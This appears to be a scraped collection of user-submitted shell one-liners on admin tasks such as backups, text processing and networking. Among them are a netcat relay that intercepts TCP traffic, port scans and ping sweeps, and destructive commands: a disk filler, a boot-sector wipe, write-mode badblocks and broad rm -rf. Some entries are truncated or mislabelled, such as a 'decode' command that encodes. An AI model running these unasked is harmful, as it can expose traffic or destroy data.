 lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print substr($7,1,index($7,"/")-1)}')| awk '$9 ~ /access.log$/ {print $9| "sort -u"}'

* Empty the linux buffer cache

 sync && echo 3 > /proc/sys/vm/drop_caches

* Delete .svn directories and content recursively

 `find . -iname ".svn" -type d | sed -e "s/^/rm -rfv /g"`

* Clean up after a poorly-formed tar file

 tar ztf tar-lacking-subdirectory.tar.gz | xargs rm

* Simple complete system backup excluding files or directories

 tar zcpf backup.tgz --exclude=/proc --exclude=backup.tgz /

* Comma insertions

 perl -pe '$_=reverse;s/\d{3}(?=\d)(?!.*?\.)/$&,/g;$_=reverse'

* Double your disk read performance in a single command

 blockdev --setra 1024 /dev/sdb

* Check ps output to see if file is running, if not start it

 ps -C thisdaemon || { thisdaemon & }

* Generate a Random Password

 dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev

* decode base64

 echo -n $@ | openssl base64

* Make a high definition VNC

 vncserver -nohttpd -name hidef-server -depth 24 -geometry 1440x900

* Finding the number of cpu's

 grep -c -e '^cpu[0-9]\+' /proc/stat

* Search inside a folder of jar/zip files

 find . -name "*.jar" | xargs -tn1 jar tvf | grep --color "SearchTerm"

* Netstat Connection Check

 netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n | tail

* Email a file to yourself

 uuencode $file $file | /usr/bin/mailx -s "$file" ${USER}

* shut of the screen.

 xset dpms force standby

* Find files that have been modified on your system in the past 60

 sudo find / -mmin 60 -type f

* Intercept, monitor and manipulate a TCP connection.

 mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo

* Use tee + process substitution to split STDOUT to multiple

 some_command | tee >(command1) >(command2) >(command3) ... | command4

* Copy your ssh public key to a server from a machine that doesn't

 cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys"

* Execute a command with a timeout

 timeout 10 sleep 11

* Search for a string inside all files in the current directory

 grep -RnisI <pattern> *

* redirect stdout and stderr each to separate files and print both

 (some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog

* Find files that were modified by a given command

 touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file

* Have an ssh session open forever

 autossh -M50000 -t server.example.com 'screen -raAd mysession'

* throttle bandwidth with cstream

 tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup'

* replace spaces in filenames with underscores

 rename 'y/ /_/' *

* Save an HTML page, and covert it to a .pdf file

 wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &

* Compare two directory trees.

 diff <(cd dir1 && find | sort) <(cd dir2 && find | sort)

* Resume scp of a big file

 rsync --partial --progress --rsh=ssh $file_source $user@$host:$destination_file

* Install a Firefox add-on/theme to all users

 sudo firefox -install-global-extension /path/to/add-on

* iso-8859-1 to utf-8 safe recursive rename

 detox -r -s utf_8 /path/to/old/win/files/dir

* recursive search and replace old with new string, inside files

 $ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'

* Terminate a frozen SSH-session

 RETURN~.

* Get Cisco network information

 tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'

* Copy stdin to your X11 buffer

 ssh user@host cat /path/to/some/file | xclip

* Check if running in an X session

 if [ ! -z "${DISPLAY}" ]; then someXcmd ; fi

* delete unversioned files in a checkout from svn

 svn st | grep "^\?" | awk "{print \$2}" | xargs rm -rf

* Rsync between two servers

 rsync -zav --progress original_files_directory/ root@host(IP):/path/to/destination/

* replace XX by YY in the the current directory and cd to it. ( in

 cd XX YY

* Show a line when a "column" matchs

 awk '{ FS = OFS = "#" } { if ($9==1234) print }' filename*.log > bigfile.log

* Split and join with split and cat.

 split -b 1k file ; cat x* > file

* run command on a group of nodes in parallel

 echo -n m{1..5}.cluster.net | xargs -d' ' -n1 -P5 -I{} ssh {} 'uptime'

* Sort IP addresses

 sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /file/of/ip/addresses

* Check executable shared library usage

 ldd <executable binary>

* fix broken permissions

 find /path -type d -perm 777 -exec chmod 755 {} \;

* Use color grep by default

 alias grep 'gnu grep -i --color=auto'

* finding cr-lf files aka dos files with ^M characters

 find $(pwd) -type f -exec grep -l "$(echo "\r")" {} \;

* Make a thumbnail image of first page of a PDF.

 convert -resize 200 -sharpen 40 some_file.pdf[0] some_file.jpg

* Import/clone a Subversion repo to a git repo

 git svn --authors-file=some-authors-file clone svn://address/of/svn/repo new-git-dir

* Gives you what's between first string and second string included.

 sed "s/^ABC/+ABC/" <file | sed "s/DEF$/DEF+/" | tr "\n" "~" | tr "+" "\n" | grep "^ABC" | tr "~" "\n"

* Get My Public IP Address

 curl -s http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'

* Getting GnuPG Public Keys From KeyServer

 gpg --keyserver pgp.surfnet.nl --recv-key 19886493

* Binary search/replace

 xxd < orig | sed 's/A/B/' | sed 's/HEXA/HEXB/' | xxd -r > new

* "I Feel Lucky" for Google Images

 echo -n "search> ";read QUERY && wget -O - `wget -O - -U "Mozilla/5.0" "http://images.google.com/images?q=${QUERY}" 2>/dev/null |sed -e 's/","http/\n","http/g' |awk -F \" '{print $3}' |grep -i http: |head -1` > "$QUERY"

* modify a file in place with perl

 perl -pi -e 's/THIS/THAT/g' fileglob*

* Create a DOS floppy image

 dd if=/dev/zero bs=1024 count=1440 > floppy.img && mkdosfs floppy.img

* Test for Weak SSL Ciphers

 openssl s_client -connect [host]:[sslport] -cipher LOW

* Translate your terminal into Swedish Chef

 perl -e '$b="bork"; while(<STDIN>){$l=`$_ 2>&1`; $l=~s/[A-Za-z]+/$b/g;

* Change every instance of OLD to NEW in file FILE

 sed -i 's/OLD/NEW/g' FILE

* Getting started with tcpdump

 tcpdump -nli eth0; tcpdump -nli eth0 src or dst w.x.y.z; tcpdump -nli eth0 port 80; tcpdump -nli eth0 proto udp

* Dump root ext3 fs over ssh

 dump 0f - / | bzip -c9 | ssh user@host "cat > /home/user/root.dump.bz2"

* Resets a terminal that has been messed up by binary input

 reset

* Display total Kb/Mb/Gb of a folder and each file

 du -hc *

* easily convert one unit to another

 units "2048 bytes" "kibibytes"

* show the date every rpm was installed

 rpm -qa --last

* To find the count of each open file on a system (that supports

 sudo lsof | awk '{printf("%s %s %s\n", $1, $3, $NF)}' | grep -v "(" | sort -k 4 | gawk '$NF==prv{ct++;next} {printf("%d %s\n",ct,$0);ct=1;prv=$NF}' | uniq | sort -nr

* rgrep: recursive grep without .svn

 alias rgrep="find . \( ! -name .svn -o -prune \) -type f -print0 | xargs -0 grep"

* get a directory from one machine to another using tar and ssh

 ssh somemachine "cd some dir; tar zcpf - somedirname" |tar zxpf -

* A nice command for summarising repeated information

 alias counts=sort | uniq -c | sort -nr

* Command to keep an SSH connection open

 watch -n 30 uptime

* Run a command on a remote machine

 ssh user@host "ps aux | grep httpd | wc -l"

* Display a list of all PHP classes that are called statically

 find . -name "*\.php" | xargs grep -o --color "\w\+::\w\+" | cut -d":" -f2 | sort | uniq -c

* Show recent earthquakes in Bay Area

 lynx --width=200 --dump 'http://quake.usgs.gov/recenteqs/Maps/San_Francisco_eqs.htm'|sed -ne '/MAG.*/,/^References/{;s/\[[0-9][0-9]*\]//;1,/h:m:s/d;/Back to map/,$d;/^$/d;/^[ \t][ \t]*[3-9]\.[0-9][0-9]*[ \t][ \t]*/p; }'|sort -k1nr

* Every Nth line position # (AWK)

 awk 'NR%3==1' file

* Find all files <10MB and sum up their size

 i=0; for f in $(find ./ -size -10M -exec stat -c %s {} \; ); do i=$(($i + $f)); done; echo $i

* Every Nth line position # (SED)

 sed -n '1,${p;n;n;}' foo > foo_every3_position1; sed -n '2,${p;n;n;}' foo > foo_every3_position2; sed -n '3,${p;n;n;}' foo > foo_every3_position3

* Rename .JPG to .jpg recursively

 find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;

* Prints line numbers

 grep -n "^" <filename>

* Print a row of 50 hyphens

 python -c 'print "-" * 50'

* Resize a Terminal Window

 printf "\e[8;70;180;t"

* Pretty man pages under X

 function manpdf() {man -t $1 | ps2pdf - - | epdfview -}

* Pretty man pages under X

 vman(){ T=/tmp/$$.pdf;man -t $1 |ps2pdf - >$T; xpdf $T; rm -f $T; }

* Print a row of 50 hyphens

 perl -le'print"-"x50'

* Do a search-and-replace in a file after making a backup

 sed -i.bak 's/old/new/g' file

* view certificate details

 openssl x509 -in filename.crt -noout -text

* analyze traffic remotely over ssh w/ wireshark

 mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo;

* Solaris get PID socket

 pfiles -F /proc/* 2>/dev/null | awk '/^[0-9]+/{proc=$1};/[s]ockname: AF_INET/{print proc $0}'

* Batch convert PNG to JPEG

 for i in *.png; do convert "$i" "${i%.png}.jpg" && rm "$i" && echo "$i is converted."; done

* pipe output to notify-send

 echo 'Desktop SPAM!!!' | while read SPAM_OUT; do notify-send "$SPAM_OUT"; done

* Display _something_ when an X app fails

 xlaunch(){ T=/tmp/$$;sh -c "$@" >$T.1 2>$T.2;S=$?;[ $S -ne 0 ]&&{ echo -e "'$@' failed with error $S\nSTDERR:\n$(cat $T.2)\nSTDOUT:\n$(cat $T.1)\n"|xmessage -file -;};rm -f $T.1 $T.2;}

* mount an iso

 mount -o loop -t iso9660 my.iso /mnt/something

* monitor network traffic and throughput in real time

 iptraf

* find out how much space are occuipied by files smaller than 1024K

 find dir -size -1024k -type f -print0 | du --files0-from - -bc

* reload config

 source .bashrc

* Create aliases for common vim minibuffer/cmd typos

 command! -nargs=1 Vs vs <args>

* find out how much space is occupied by files smaller than 1024K

 find dir -size -1024k -type f | xargs -d $'\n' -n1 ls -l | cut -d ' ' -f 5 | sed -e '2,$s/$/+/' -e '$ap' | dc

* List folders containing only PNGs

 find . -name '*png' -printf '%h\0' | xargs -0 ls -l --hide=*.png | grep -ZB1 ' 0$'

* Find the location of the currently loaded php.ini file

 php -i | grep php.ini

* Test file system type before further commands execution

 DIR=. ; FSTYPE=$(df -TP ${DIR} | grep -v Type | awk '{ print $2 }') ; echo "${FSTYPE}"

* See entire packet payload using tcpdump.

 tcpdump -nnvvXSs 1514 -i <device> <filters>

* Sniffing network to generate a pcap file in CLI mode on a remote

 tcpdump -v -i <INTERFACE> -s 0 -w /tmp/sniff.pcap port <PORT> # On the

* Read just the IP address of a device

 /sbin/ip -f inet addr | sed -rn 's/.*inet ([^ ]+).*(eth[[:digit:]]*(:[[:digit:]]+)?)/\2 \1/p' | column -t

* Random colours at random locations

 p(){ printf "\033[%d;%dH\033[4%dm \033[m" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); }; clear;while :;do p; sleep .001;done

* output stats from a running dd command to see its progress

 watch -n60 --kill -USR1 $(pgrep dd)

* Freshening up RKhunter

 rkhunter --versioncheck --update --propupd --check

* Expedient hard disk temprature and load cycle stats

 watch -d 'sudo smartctl -a /dev/sda | grep Load_Cycle_Count ; sudo smartctl -a /dev/sda | grep Temp'

* Show permissions of current directory and all directories upwards

 dir=$(pwd); while [ ! -z "$dir" ]; do ls -ld "$dir"; dir=${dir%/*}; done; ls -ld /

* Display IP adress of the given interface in a most portable and

 x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>

* Collect a lot of icons from /usr/share/icons (may overwrite some,

 mkdir myicons; find /usr/share/icons/ -type f -exec cp {} ./myicons/ \;

* list all opened ports on host

 time { i=0; while [ $(( i < 65535 )) -eq 1 ] ; do nc -zw2 localhost $((++i)) && echo port $i opened ; done; }

* Get your public ip

 curl -s http://sputnick-area.net/ip

* random xkcd comic as xml

 curl -sL 'dynamic.xkcd.com/comic/random/' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'

* View a random xkcd comic

 wget -q http://dynamic.xkcd.com/comic/random/ -O-| sed -n '/<img src="http:\/\/imgs.xkcd.com\/comics/{s/.*\(http:.*\)" t.*/\1/;p}' | awk '{system ("wget -q " $1 " -O- | display -title $(basename " $1") -write /tmp/$(basename " $1")");}'

* Provide information on IPC (Inter-process communication)

 ipcs

* recursive search and replace old with new string, inside files

 $rpl -R oldstring newstring folder

* recursive search and replace old with new string, inside files

 find . -type f -exec sed -i s/oldstring/newstring/g {} +

* Find and copy scattered mp3 files into one directory

 find . -type f -iname '*.mp3' -exec cp {} ~/mp3/ \;

* Check your hard drive for bad blocks (destructive)

 badblocks -c 65536 -o /tmp/badblocks.out -p 2 -s -v -w /dev/hdX > /tmp/badblocks.stdout 2> /tmp/badblocks.stderr

* Find and copy scattered mp3 files into one directory

 find . -name '*.mp3' -type f -exec sh -c 'exec cp -f "$@" /home/user/dir' find-copy {} +

* Quickly batch resize images

 mogrify -geometry 800x600 *.jpg

* Update twitter via curl (and also set the "from" bit)

 curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL" http://twitter.com/statuses/update.xml

* Monitoring sessions that arrive at your server

 watch -n 1 -d "finger"

* Ruby - nslookup against a list of IP`s or FQDN`s

 while read n; do host $n; done < list

* Fill up disk space (for testing)

 tail $0 >> $0

* Show local/public IP adresses with or without interface argument

 MyIps(){ echo -e "local:\n$(ifconfig $1 | grep -oP 'inet (add?r:)?\K(\d{1,3}\.){3}\d{1,3}')\n\npublic:\n$(curl -s sputnick-area.net/ip)"; }

* Audible warning when a downloading is finished

 while [ "$(ls $filePart)" != "" ]; do sleep 5; done; mpg123 /home/.../warning.mp3

* mount a cdrom

 mount -t iso9660 /dev/cdrom /media/cdrom

* Return IP Address

 perl -e '$_=`ifconfig eth0`;/\d+.\d+.\d+.\d+ /; print $&,"\n";'

* Return IP Address

 ifconfig|while read i;do [[ $i =~ inet.*B ]]&&r=${i%%B*}&&echo ${r/*[tr]:/};done

* Capture data in ASCII. 1500 bytes

 tcpdump -ieth0 -n tcp port 80 -A -s1500

* Find file containing namespace in a directory of jar files.

 for f in *.jar; do if jar -tf $f | grep -q javax.servlet; then echo $f; fi; done

* View the newest xkcd comic.

 curl -s 'xkcd.com' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'

* find all writable (by user) files in a directory tree (use 4 for

 find . -type f -perm +200 -print

* show how many regex you use in your vim today

 cat ~/.viminfo | sed -n '/^:[0-9]\+,\([0-9]\+\|\$\)s/p'

* find read write traffic on disk since startup

 iostat -m -d /dev/sda1

* urldecoding

 perl -pe 's/%([0-9a-f]{2})/sprintf("%s", pack("H2",$1))/eig'

* Pull up remote desktop for other than gnome/kde eg fluxbox

 rdp() { ssh $1 sh -c 'PATH=$PATH:/usr/local/bin; x11vnc -q -rfbauth ~/.vnc/passwd -display :0' & sleep 4; vncviewer $1:0 & }

* Get your bash scripts to handle options (-h, --help etc) and spit

 process-getopt

* urldecoding

 printf $(echo -n $1 | sed 's/\\/\\\\/g;s/\(%\)\([0-9a-fA-F][0-9a-fA-F]\)/\\x\2/g')

* In (any) vi, add a keystroke to format the current paragraph.

 map ^A !}fmt

* Convert decimal numbers to binary

 function decToBin { echo "ibase=10; obase=2; $1" | bc; }

* Find all dotfiles and dirs

 find -mindepth 1 -maxdepth 1 -name .\*

* watch the previous command

 watch -n1 -d !!

* List all symbolic links in current directory

 ls -lah | grep ^l

* Find all dot files and directories

 ls -d .*

* Debian Runlevel configuration tool

 rcconf

* Checks apache's access_log file, strips the search queries and

 awk '/q=/{print $11}' /var/log/httpd/access_log.4 | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1

* Show sorted list of files with sizes more than 1MB in the current

 ls -l | awk '$5 > 1000000' | sort -k5n

* rotate the compiz cube via command line

 wmctrl -o 1280,0

* Watch a TiVo File On Your Computer

 curl -s -c /tmp/cookie -k -u tivo:$MAK --digest http://$tivo/download/$filename | tivodecode -m $MAK -- - | mplayer - -cache-min 50 -cache 65536

* check the status of 'dd' in progress

 while killall -USR1 dd; do sleep 5; done

* Both view and pipe the file without saving to disk

 cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l

* Get ethX mac addresses

 ip link | grep 'link/ether' | awk '{print $2}'

* Grab an interface's IP from ifconfig without screen clutter

 ifconfig eth1 | grep inet\ addr | awk '{print $2}' | cut -d: -f2 | sed s/^/eth1:\ /g

* Display top 5 processes consuming CPU

 ps -eo pcpu,user,pid,cmd | sort -r | head -5

* List the files any process is using

 lsof +p xxxx

* Kill any lingering ssh processes

 for i in `ps aux | grep ssh | grep -v grep | awk {'print $2'}` ; do kill $i; done

* get a process list by listen port

 netstat -ntlp | grep 80 | awk '{print $7}' | cut -d/ -f1

* Show current working directory of a process

 pwdx pid

* Open-iscsi target discovery

 iscsiadm -m discovery -t sendtargets -p 192.168.20.51

* Creates Solaris alternate boot environment on another zpool.

 lucreate -n be1 [-c be0] -p zpool1

* one-liner mpc track changer using dmenu

 mpc play $(sed -n "s@^[ >]\([0-9]\+\)) $(mpc playlist|cut -d' ' -f3-|dmenu -i -p 'song name'||echo void)@\1@p" < <(mpc playlist))

* A function to find the newest file of a set.

 newest () { candidate=''; for i in "$@"; do [[ -f $i ]] || continue; [[

* Erase empty files

 find . -type f -size 0 -delete

* Monitor a file's size

 watch -n 60 du /var/log/messages

* Remove CR LF from a text file

 tr -d '\r\n' < input_file.txt > output_file.txt

* Check a server is up. If it isn't mail me.

 curl -fs brandx.jp.sme 2&>1 > /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk

* On Screen micro display for battery and CPU temperature.

 acpi -t | osd_cat -p bottom

* set wallpaper on windowmaker in one line

 wmsetbg -s -u path_to_wallpaper

* List your largest installed packages (on Debian/Ubuntu)

 sed -ne '/^Package: \(.*\)/{s//\1/;h;};/^Installed-Size: \(.*\)/{s//\1/;G;s/\n/ /;p;}' /var/lib/dpkg/status | sort -rn

* Get decimal ascii code from character

 echo -n a | od -d | sed -n "s/^.* //gp"

* get the ascii number with bash builtin printf

 printf "%d\n" "'A" "'B"

* Function to output an ASCII character given its decimal

 chr () { echo -en "\0$(printf %x $1)"}

* Function to output an ASCII character given its decimal

 chr() { printf \\$(printf %o $1); }

* Less a grep result, going directly to the first match in the

 argv=("$@"); rest=${argv[@]:1}; less -JMN +"/$1" `grep -l $1 $rest`

* Execute a command before display the bash prompt

 PROMPT_COMMAND=command

* gzip all files in a directory separately

 gzip *

* gzip all files in a directory separately

 ls | xargs -n1 gzip

* MoscowML with editable input-line and history

 rlwrap mosml

* retrieve the source address used to contact a given host

 python -c 'import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("<hostname>", <port>)); print s.getsockname()[0] ; s.close() ;' 2> /dev/null

* Get absolut path to your bash-script

 PATH=$(cd ${0%/*}; pwd)

* Get full URL via http://untr.im/api/ajax/api

 URL=[target.URL]; curl -q -d "url=$URL" http://untr.im/api/ajax/api | awk -F 'href="' '{print $3}' | awk -F '" rel="' '{print $1}'

* remove the last of all html files in a directory

 for f in *.html; do sed '$d' -i "$f"; done

* Makefile argument passing

 make [target] VAR=foobar

* convert filenames in current directory to lowercase

 find my_root_dir -depth -exec rename 's/(.*)\/([^\/]*)/$1\/\L$2/' {} \;

* Print a list of the 30 last modified mp3s sorted by last first

 find ~/Music -daystart -mtime -60 -name *mp3 -printf "%T@\t%p\n" | sort -f -r | head -n 30 | cut -f 2

* Print text string vertically, one character per line.

 echo "vertical text" | fold -1

* Generate SHA1 hash for each file in a list

 find . -type f -exec sha1sum {} >> SHA1SUMS \;

* Benchmark report generator

 hardinfo -am benchmark.so -f html > report.html

* Changing the terminal title to the last shell command

 if [ "$SHELL" = '/bin/zsh' ]; then case $TERM in rxvt|*term|linux) preexec () { print -Pn "\e]0;$1\a" };; esac; fi

* Force an fsck on reboot

 shutdown -rF now

* Grep auth log and print ip of attackers

 egrep 'Failed password for invalid' /var/log/secure | awk '{print $13}' | uniq

* Generate SHA1 hash for each file in a list

 ls [FILENAME] | xargs openssl sha1

* Notify Gnome user of files modified today

 OLDIFS=$IFS; IFS=$(echo -en "\n\b"); for f in `find -daystart -mtime 0 -type f -printf "%f\n"`; do notify-send -t 0 "$f downloaded" ; done; IFS=$OLDIFS

* Download a TiVo Show

 curl -s -c /tmp/cookie -k -u tivo:$MAK --digest "$(curl -s -c

* Create a single-use TCP proxy with copy to stdout

 gate() { mkfifo /tmp/sock1 /tmp/sock2 &> /dev/null && nc -p $1 -l < /tmp/sock1 | tee /tmp/sock2 & PID=$! && nc $2 $3 < /tmp/sock2 | tee /tmp/sock1; kill -KILL $PID; rm -f /tmp/sock1 /tmp/sock2 ; }

* Print all members of US House of Representatives

 curl "http://www.house.gov/house/MemberWWW.shtml" 2>/dev/null | sed -e :a -e 's/<[^>]*>//g;/</N;//ba' | perl -nle 's/^\t\t(.*$)/ $1/ and print;'

* Remove blank lines from a file using grep and save output to new

 grep -v "^$" filename > newfilename

* Search for a string inside all files in the current directory

 grep -r <pattern> * .[!.]*

* Search for a string inside all files in the current directory

 ack <pattern>

* Search for a string inside all files in the current directory

 find . -type f -print0 | xargs -0 grep -i <pattern>

* calulate established tcp connection of local machine

 netstat -an | grep -Ec '^tcp.+ESTABLISHED$'

* Adding Color Escape Codes to global CC array for use by echo -e

 declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7)); CC[$i]="\033[1;3${i}m"; CC[$ii]="\033[0;3${i}m"; done

* shorten url using curl, sed and is.gd

 curl -s -d URL="$1" http://is.gd/create.php | sed '/Your new shortened/!d;s/.*value="\([^"]*\)".*/\1/'

* Delete all but the latest 5 files, ignoring directories

 ls -lt|grep ^-|awk 'NR>5 { print $8 }'|xargs -r rm

* Delete all but the latest 5 files

 ls -t | tail +6 | xargs rm

* convert a,b,c to ('a','b','c') for use in SQL in-clauses

 echo a,b,c | sed -e s/,/\',\'/g -e s/^/\(\'/ -e s/$/\'\)/

* Remove all files but one starting with a letter(s)

 rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*

* Setting reserved blocks percentage to 1%

 sudo tune2fs -m 1 /dev/sda4

* find only current directory (universal)

 find . \( ! -name . -prune \) \( -type f -o -type l \)

* Ultimate current directory usage command

 find . -maxdepth 1 ! -name '.' -execdir du -0 -s {} + | sort -znr | gawk 'BEGIN{ORS=RS="\0";} {sub($1 "\t", ""); print $0;}' | xargs -0 du -hs

* Output files without comments or empty lines

 function catv { egrep -v "^$|^#" ${*} ; }

* List hostnames of all IPs

 for IP in $(/sbin/ifconfig | fgrep addr: | sed 's/.*addr:\([[0-9.]*\) .*/\1/') ; do host $IP | awk '{print $5}'; done

* A DESTRUCTIVE command to render a drive unbootable

 dd if=/dev/zero of=/dev/fd0 bs=512 count=1

* Ripping VCD in Linux

 cdrdao read-cd --device ATA:1,1,0 --driver generic-mmc-raw --read-raw image.toc

* create date-stamped tar archive of files in a directory tree (with subfolders)

 tar czf /path/archive_of_foo.`date -I`.tgz /path/foo

* Creae a tar file for backup info

 tar --create --file /path/$HOSTNAME-my_name_file-$(date -I).tar.gz --atime-preserve -p -P --same-owner -z /path/

* Force logout after 24 hours idle

 fuser -k `who -u | awk '$6 == "old" { print "/dev/"$2'}`

* List out classes in of all htmls in directory

 find . -name '*.html' -exec 'sed' 's/.*class="\([^"]*\?\)".*/\1/ip;d' '{}' ';' |sort -su

* Ultimate current directory usage command

 find . -maxdepth 1 -type d|xargs du -a --max-depth=0|sort -rn|cut -d/ -f2|sed '1d'|while read i;do echo "$(du -h --max-depth=0 "$i")/";done;find . -maxdepth 1 -type f|xargs du -a|sort -rn|cut -d/ -f2|sed '$d'|while read i;do du -h "$i";done

* bash function to check for something every 5 seconds

 function checkfor () { while :; do $*; sleep 5; done; }

* Copy a file structure without files

 find * -type d -exec mkdir /where/you/wantem/\{\} \;

* Efficiently print a line deep in a huge log file

 sed '1000000!d;q' < massive-log-file.log

* Harder, Faster, Stronger SSH clients

 ssh -4 -C -c blowfish-cbc

* Duplicate several drives concurrently

 dd if=/dev/sda | tee >(dd of=/dev/sdb) | dd of=/dev/sdc

* backup all your commandlinefu.com favourites to a plaintext file

 clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}

* Cleanup firefox's database.

 find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;

* Terminal - Show directories in the PATH, one per line with sed and

 tr : '\n' <<<$PATH

* get all pdf and zips from a website using wget

 wget --reject html,htm --accept pdf,zip -rl1 url

* Release memory used by the Linux kernel on caches

 free && sync && echo 3 > /proc/sys/vm/drop_caches && free

* find and delete empty dirs, start in current working dir

 find . -empty -type d -exec rmdir {} +

* Triple monitoring in screen

 tmpfile=$(mktemp) && echo -e 'startup_message off\nscreen -t top htop\nsplit\nfocus\nscreen -t nethogs nethogs wlan0\nsplit\nfocus\nscreen -t iotop iotop' > $tmpfile && sudo screen -c $tmpfile

* Show me a histogram of the busiest minutes in a log file:

 cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}'

* Print a great grey scale demo !

 yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done

* DELETE all those duplicate files but one based on md5 hash

 find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v --

* restoring some data from a corrupted text file

 ( cat badfile.log ; tac badfile.log | tac ) > goodfile.log

* How to run X without any graphics hardware

 startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc

* Run a bash script in debug mode, show output and save it on a file

 bash -x test.sh 2>&1 | tee out.test

* Add user to group on OS X 10.5

 sudo dscl localhost -append /Local/Default/Groups/admin GroupMembership username

* to see about php configure

 $php_dir/bin/php -i | grep configure

* Terminal - Show directories in the PATH, one per line with sed and

 sed 's/:/\n/g' <<<$PATH

* Verbosely delete files matching specific name pattern, older than

 rm -vf /backup/directory/**/FILENAME_*(m+15)

* Copy via tar pipe while preserving file permissions (run this

 tar -C /oldirectory -cvpf - . | tar -C /newdirector -xvf -

* watch iptables counters

 watch --interval 0 'iptables -nvL | grep -v "0 0"'

* Remove empty directories

 rmdir **/*(/^F)

* Ping sweep without NMAP

 for i in `seq 1 255`; do ping -c 1 10.10.10.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done

* follow the content of all files in a directory

 find dir/ -type f | xargs tail -fqn0

* View Processeses like a fu, fu

 pstree -p

* Not a kismet replacement...

 watch -n .5 "iwlist wlan0 scan"

* clear the cache from memory

 sync; echo 3 > /proc/sys/vm/drop_caches

* Show changed files, ignoring permission, date and whitespace

 git diff --numstat -w --no-abbrev | perl -a -ne '$F[0] != 0 && $F[1] !=0 && print $F[2] . "\n";'

* Scrape commands from commandline fu's 1st page

 curl -s http://www.commandlinefu.com/commands/browse|egrep '("Fin.*and"|<div class="command">.*</div>)'|sed 's/<[^<]*>//g'|ruby -rubygems -pe 'require "cgi"; $_=sprintf("\n\n%-100s\n\t#%-20s",CGI.unescapeHTML($_).chomp.strip, gets.lstrip) if $.%2'

* The command used by applications in OS X to determine whether a

 plutil -lint plist-file

* Resolve a list of domain names to IP addresses

 awk < file.name '{ system("resolveip -s " $1) }'

* Unarchive entire folder

 for f in *;do case "$(echo $f|sed "s/.*\.\([a-z\.]*\)/\1/g")" in zip)unzip -qqo $f&&rm $f;;tar.gz|tar.bz2)tar xf $f&&rm $f;;rar)unrar e -o+ -r -y $f&&rm $f;;7z)7z e -qqo $f;;esac;done

* Find out when your billion-second anniversary is (was).

 date -j -v +1000000000S -f %m%d%Y mmddYYYY

* Find out when your billion-second anniversary is (was). (on OS X)

 date -j -v +1000000000S -f %m%d%Y mmddyyyy

* Find out when your billion-second anniversary is (was).

 date -d12/31/1970+1000000000sec

* Shrink more than one blank lines to one in VIM.

 :%v/./,/./-j

* Have netcat listening on your ports and use telnet to test

 SERVER: nc -l p 666 CLIENT: telnet -l -p 666

* return external ip

 host -t a dartsclink.com | sed 's/.*has address //'

* Searches $PATH for files using grep

 IFS=:; find $PATH | grep pattern

* Find

 xwininfo

* open in textmate sidebar files (recursively) with names matching

 mate - `find * -type f -regex 'REGEX_A' | grep -v -E 'REGEX_B'`

* View a colorful logfile using less

 < /var/log/syslog ccze -A | less -R

* Generate random IP addresses

 nmap -n -iR 0 -sL | cut -d" " -f 2

* Get the size of all the directories in current directory

 du -hd 1

* Convert every eps in a directory to pdf

 for f in *.eps;do ps2pdf -dEPSCrop $f `basename $f .eps`.pdf; done

* Remove newlines from output

 awk /./ filename

* Remove newlines from output

 cat filename | grep .

* A fun thing to do with ram is actually open it up and take a peek.

 strings /dev/mem|less

